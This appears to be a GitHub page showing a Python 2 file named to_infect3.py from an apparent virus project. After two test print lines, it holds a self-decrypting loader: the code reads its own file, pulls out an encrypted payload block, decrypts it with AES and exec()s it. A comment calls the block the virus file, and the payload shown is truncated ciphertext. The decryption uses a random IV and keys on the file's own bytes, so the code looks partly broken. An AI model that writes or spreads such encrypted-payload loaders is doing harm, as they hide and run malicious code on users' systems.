-
Notifications
You must be signed in to change notification settings - Fork 19
/
Copy pathto_infect3.py
executable file
·49 lines (40 loc) · 3.7 KB
/
to_infect3.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
print "HELOOOOOOOOOOOOOOOOOOOOOOOOOOOOOO"
print "bohohoo"
######################################################## First script python
# coding=utf-8
# Start Unencrypted
import os
import __main__
import base64
import sys
import StringIO
from Crypto import Random
from Crypto.Cipher import AES
# Decryption function
def decrypt(data):
this = open(__main__.__file__, 'r')
data = base64.b64decode(data);
iv = Random.new().read(AES.block_size)
cipher = AES.new(StringIO.StringIO(this).read(24), AES.MODE_CFB, iv)
this.close()
return cipher.decrypt(data)[16:]
# Gets the virus file
this = open(__main__.__file__, 'r')
copy = False
cipher_payload = ''
for line in this:
if line.strip() == '# Start payload':
copy = True
elif line.strip() == '# End payload':
copy = False
elif copy:
cipher_payload = cipher_payload + line
e = decrypt(cipher_payload[1:])
#e = encrypt(cipher_payload)
#print e
exec e
sys.exit('Good job!')
# End Unencrypted
# Start payload
#WEXREHj5YuM7wdMSZfAWrkVJM4amNDQ7fdK2TKxvxMPyS6HU/qyWog8KJRyuh/hD0/k6lJdUxL2boWPdjuPhgj78IVHLMWndYBAHMF0/wiqa5u5RyzFRF/+jnXIa9JDip66sC+TSdP4QGhyhe2kcHYWgkB5ho/Q5tXCxi5grIqocMinftNx5QiPMubuVki6QPoV+NGpmIjeohFYD05yKsIoDumG8pqv0MQIvZTAOVcZtX1mmOyN5j7xkw4FMre2jpwUDBoMTwNwZACP0GLfk+Pg4RbLWTexIlwJGVpDA7fHvwQdk7oaFgsEK37Me48GuvaL8kO2Yoy9X+hqUtOPBbPTdE4iH35RODUneu4S6lo7/5LzTVoTC3eK8WJ5m3FJpWvXlAuG9i3sFH442dfs8d2sP0qQayYVs/ouOWcWNb+bUv6ySXLsOnI611ACHFN8PQPuXH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